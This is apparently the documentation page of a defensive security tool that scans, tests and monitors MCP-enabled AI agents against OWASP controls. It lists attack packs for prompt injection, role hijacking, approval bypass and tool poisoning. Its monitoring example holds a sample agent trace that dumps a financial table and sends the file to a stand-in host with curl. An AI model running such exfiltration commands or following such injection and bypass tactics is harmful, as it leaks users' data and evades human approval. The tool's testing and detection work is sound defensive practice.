๐Ÿ›ก๏ธ Pluto AgentGuard

OWASP-aligned launch gate for MCP-enabled AI agents.
Scan ยท Test ยท Monitor ยท Simulate ยท Evidence ยท Drift ยท OWASP Coverage

pip install pluto-aguard
v0.9.0 ยท 7 commands ยท 20 OWASP controls ยท 84 tests
๐Ÿ  Overview
๐Ÿ” Scan
๐ŸŽฏ Test
๐Ÿ“ก Monitor
๐Ÿ”ฎ What-If
๐Ÿ›ก๏ธ OWASP
๐Ÿ“‹ Evidence
๐Ÿ”Œ Integrate

๐Ÿ“ Where AgentGuard Fits

YOUR APPLICATION
AI Agent
Calls tools, accesses data, chains actions via MCP
โฌ‡๏ธ prompts & responses
LAYER 1 โ€” ALREADY SOLVED
Content Guardrails
Azure Content Safety ยท NeMo ยท Guardrails AI โ€” filters toxic/unsafe text
โฌ‡๏ธ tool calls & actions
LAYER 2 โ€” THE GAP AGENTGUARD FILLS
๐Ÿ›ก๏ธ Pluto AgentGuard
Scans ยท Tests ยท Monitors ยท Simulates ยท Generates Evidence ยท Detects Drift ยท Reports OWASP Coverage

Seven Commands

๐Ÿ”

aguard scan

Find secrets, misconfigs, unsafe code in any AI project

๐ŸŽฏ

aguard test

17 adversarial attacks against your policy โ€” what gets through?

๐Ÿ“ก

aguard monitor

Replay traces, detect unauthorized actions + drift

๐Ÿ”ฎ

aguard whatif

Simulate policy changes, see risk drop before applying

๐Ÿ›ก๏ธ

aguard owasp

20-control OWASP MCP/LLM coverage report

๐Ÿ“‹

aguard evidence

Launch readiness packet with approval checklist

๐Ÿ“

aguard baseline

Snapshot + drift detection over time

Prerequisites

RequirementDetailsCheck
Python3.10 or higherpython --version
pipAny recent versionpip --version
Cloud accountsโŒ Not needed. Runs 100% locally.

๐Ÿ” aguard scan โ€” Static Security Analysis

Point it at any AI project folder. Finds real issues โ€” no MCP configs required.

Your Project
*.py, .env, Dockerfile,
mcp.json, requirements.txt
โ†’
๐Ÿ›ก๏ธ aguard scan
18+ secret patterns
AI code analysis
MCP config checks
โ†’
Report
terminal / JSON /
HTML / SARIF

What it finds

FindingSeverityOWASP
eval()/exec() on LLM outputCRITICALMCP05
Wildcard (*) permissions on MCP serverCRITICALMCP02
No auth on remote MCP serverCRITICALMCP07
Tool poisoning in descriptionsCRITICALMCP03
Hardcoded secrets (18+ patterns)HIGHMCP01
.env not in .gitignoreHIGHMCP01
Secrets in Dockerfile ENVHIGHMCP01
LangChain allow_dangerous_requests=TrueHIGHMCP05
Sensitive info in system promptsHIGHMCP10
LangChain verbose=True in productionMEDIUMโ€”
Container running as rootMEDIUMโ€”
Unpinned AI dependenciesMEDIUMMCP04
No timeout or rate limitsMEDIUMLLM10

Example output

Terminal
$ aguard scan ./my-agent-project/ ๐Ÿ” Scanning ./my-agent-project... ๐Ÿ”ด CRITICAL: Unsafe execution of LLM output: eval() (MCP05:2025) ๐Ÿ“„ agent.py:24 ๐ŸŸ  HIGH: Hardcoded OpenAI Key detected (MCP01:2025) ๐Ÿ“„ .env:1 ยท Evidence: sk-p****cdef ๐ŸŸ  HIGH: .env file not in .gitignore (MCP01:2025) ๐ŸŸ  HIGH: Secret in Dockerfile ENV (MCP01:2025) ๐ŸŸ  HIGH: LangChain dangerous requests allowed (MCP05:2025) ๐ŸŸก MEDIUM: Unpinned AI dependencies (MCP04:2025) ๐ŸŸก MEDIUM: Container runs as root ๐Ÿ“Š Risk Score: 100/100 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ ๐Ÿ“‹ Findings: 1 critical ยท 14 high ยท 3 medium ๐Ÿ“‚ Scanned 5 files in 155ms

CI gate flags

CI Pipeline
$ aguard scan . --max-risk 50 --fail-on high --format sarif -o results.sarif # Exits code 1 if risk > 50 or any HIGH+ findings # SARIF output integrates with GitHub Advanced Security

๐ŸŽฏ aguard test โ€” Adversarial Policy Simulation

Simulates 17 attack scenarios against your policy. Reports what gets caught vs. what gets through. No LLM needed.

5 Attack Packs

๐Ÿ’‰

prompt-injection

Instruction override, role hijack, indirect injection, encoded payloads

๐Ÿ“ค

data-exfiltration

File export, network exfil, email exfil, SQL dump

โฌ†๏ธ

permission-escalation

Write on read-only, approval bypass, sudo, file delete

๐Ÿ”“

approval-bypass

Urgency bypass, claimed pre-auth, batch bypass

โ˜ ๏ธ

tool-poisoning

Hidden instructions, rug-pull updates

Example output

Terminal
$ aguard test --policy agent-policy.yaml --attack-pack all ๐ŸŽฏ Adversarial Policy Simulation Policy: agent-policy.yaml Agent: data-analyst-agent Scenarios: 17 โœ… PASS PI-001 Direct instruction override execute Blocked โœ… PASS PI-002 Role hijacking via system prompt shell Blocked โœ… PASS PI-003 Indirect injection via tool desc stripe.refund Blocked โœ… PASS DE-001 File export of sensitive data file_write Blocked โœ… PASS DE-002 Network exfiltration via curl execute Blocked โŒ FAIL DE-004 SQL data dump sql_query NOT caught โœ… PASS PE-001 Write on read-only tool sql_query Blocked โœ… PASS PE-003 Sudo/admin escalation sudo Blocked โœ… PASS TP-001 Hidden instructions in tool output execute Blocked ๐Ÿ“Š Results: 16 blocked ยท 1 missed ยท 17 total โš ๏ธ 1 attack (6%) would succeed against this policy Recommended fixes: โ†’ Add sql_query to denied_tools โ†’ Add sql_query to require_human_approval

๐Ÿ“ก aguard monitor โ€” Behavioral Audit

Replays agent action logs and checks every tool call against your declared policy.

What it detects

ViolationSeverityExample
Denied tool invokedCRITICALAgent called execute โ€” explicitly blocked
Permission escalationCRITICALDELETE via sql_query with read-only permission
Unauthorized toolHIGHAgent called file_write โ€” not in allowed list
Missing approvalHIGHdeploy without human-in-the-loop
Expired approvalHIGHApproval was granted but has expired

Example: data exfiltration caught

Terminal
$ aguard monitor --trace-file traces.jsonl --policy policy.yaml ๐Ÿ“ก Monitoring agent behavior... Turn 1: ๐Ÿ”ง sql_query({"query": "SELECT * FROM financials"}) Turn 2: ๐Ÿ”ง file_write({"path": "/tmp/export.csv"}) ๐Ÿšจ DRIFT: Agent invoked unauthorized tool 'file_write' ๐Ÿšจ DRIFT: Tool 'file_write' used without human approval Turn 3: ๐Ÿ”ง execute({"command": "curl https://exfil.io -d @/tmp/export.csv"}) ๐Ÿšจ DRIFT: Agent invoked denied tool 'execute' โ†’ Possible prompt injection attack. ๐Ÿšจ 5 policy violations detected

๐Ÿ”ฎ aguard whatif โ€” Policy Impact Simulator

A differentiated feature: simulate the risk impact of policy changes before applying them.

Try it โ€” toggle policies and watch the risk score change

100
Current Risk
โ†’
100
After Policies
No policies applied
0 (Safe)50100 (Critical)
โ†“15%
โ†“20%
โ†“10%
โ†“12%
โ†“18%
โ†“14%
โ†“22%

โ˜๏ธ Interactive demo of what aguard whatif does in the terminal.

๐Ÿ›ก๏ธ aguard owasp โ€” OWASP Control Coverage

Evaluates 20 controls mapped to OWASP MCP Top 10 and LLM Top 10. Each control uses precise finding-ID matching.

OWASP MCP Top 10 โ€” Control Status

โŒ MCP01 โ€” Token Mismanagement
3 failed, 1 passed
AGC-MCP01-001 secrets ยท 002 tokens ยท 003 Dockerfile ยท 004 .env
โœ… MCP02 โ€” Privilege Escalation
2 passed, 1 not tested
AGC-MCP02-001 wildcards ยท 002 declarations ยท 003 drift
โš ๏ธ MCP03 โ€” Tool Poisoning
1 passed, 1 not tested
AGC-MCP03-001 descriptions ยท 002 attack pack
โŒ MCP04 โ€” Supply Chain
1 failed
AGC-MCP04-001 pinned deps
โŒ MCP05 โ€” Command Injection
1 failed, 1 passed, 1 not tested
AGC-MCP05-001 HITL ยท 002 eval/exec ยท 003 attack pack
โš ๏ธ MCP06 โ€” Intent Flow Subversion
1 not tested
AGC-MCP06-001 prompt injection pack
โœ… MCP07 โ€” AuthN/AuthZ
2 passed
AGC-MCP07-001 auth ยท 002 HTTPS
โš ๏ธ MCP08 โ€” Audit & Telemetry
2 not tested
AGC-MCP08-001 monitoring ยท 002 evidence
๐Ÿ”ฒ MCP09 โ€” Shadow MCP Servers
Planned v1.0
โ€”
โŒ MCP10 โ€” Context Injection
1 failed
AGC-MCP10-001 system prompt leaks

Example output

Terminal
$ aguard owasp ./my-project/ ๐Ÿ›ก๏ธ OWASP Coverage Report โŒ MCP01:2025 Token Mismanagement: 3 failed, 1 passed โœ— AGC-MCP01-001: No hardcoded secrets โ†’ 11 finding(s) โœ“ AGC-MCP01-002: No static long-lived tokens โœ— AGC-MCP01-003: No secrets in Dockerfile ENV โœ— AGC-MCP01-004: .env excluded from VCS โœ… MCP07:2025 AuthN/AuthZ: 2 passed โœ“ AGC-MCP07-001: Remote servers have auth โœ“ AGC-MCP07-002: HTTPS transport โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ๐Ÿ“Š Summary OWASP MCP Mapped: 9/10 risks Controls: 8 passed ยท 6 failed ยท 6 not tested ยท 20 total

๐Ÿ“‹ Evidence & Baseline

aguard evidence โ€” Launch Readiness Packet

Generates a Markdown report for security review before shipping an agent to production.

SectionWhat It Contains
Risk SummaryOverall score, finding counts by severity
Security FindingsEvery issue with OWASP ID, description, remediation
Tool PermissionsWhat the agent can access
Policy CoverageAllowed/denied tools, HITL gates, data access rules
Required MitigationsActionable checklist of HIGH/CRITICAL fixes
Launch ApprovalSign-off template: approver, date, decision
Terminal
$ aguard evidence . --config agent.yaml --policy policy.yaml โœ… Launch readiness packet saved to launch-readiness.md

aguard baseline โ€” Drift Detection

Terminal
$ aguard baseline create . โœ… Baseline saved to .aguard-baseline.json # ... time passes, configs change ... $ aguard baseline compare . ๐Ÿ“ Baseline Drift Report Risk Score: 72 โ†’ 45 (โ†“ 27 points) โœ… Resolved (3): - Hardcoded OpenAI Key in .env - Missing auth on remote MCP server ๐Ÿ†• New (1): - Static long-lived token on slack-server $ aguard baseline compare . --fail-on-drift # Exits code 1 if new findings โ†’ CI gate

๐Ÿ”Œ Integration Guide

๐Ÿ“ฆ

Any AI Project

Run aguard scan . on any Python/Node project. Finds secrets, unsafe code, Docker issues.

๐Ÿ”—

MCP Projects

Auto-discovers mcp.json, .mcp.yaml. Checks permissions, auth, transport, tool poisoning.

โš™๏ธ

CI/CD Pipeline

--max-risk 50 --fail-on high --format sarif
SARIF integrates with GitHub Advanced Security.

๐Ÿ”ญ

OpenTelemetry

Export agent traces to JSONL โ†’ aguard monitor checks against policy.

GitHub Actions example

.github/workflows/agent-security.yml
- name: Agent Security Gate run: | pip install pluto-aguard aguard scan . --max-risk 50 --fail-on high --format sarif -o results.sarif aguard test --policy policy.yaml --fail-on-miss aguard baseline compare . --fail-on-drift - uses: github/codeql-action/upload-sarif@v3 with: sarif_file: results.sarif

What should be true for a healthy project

โœ… PassingโŒ Failing
No hardcoded secretsAPI keys in source or .env committed
No eval/exec on LLM outputCode injection via LLM responses
Remote MCP servers authenticatedUnauthenticated remote servers
Dangerous tools require approvalexecute/shell without HITL
AI deps pinnedopenai, langchain unpinned
All adversarial tests passPolicy misses attack scenarios
Risk score < 50Risk score โ‰ฅ 50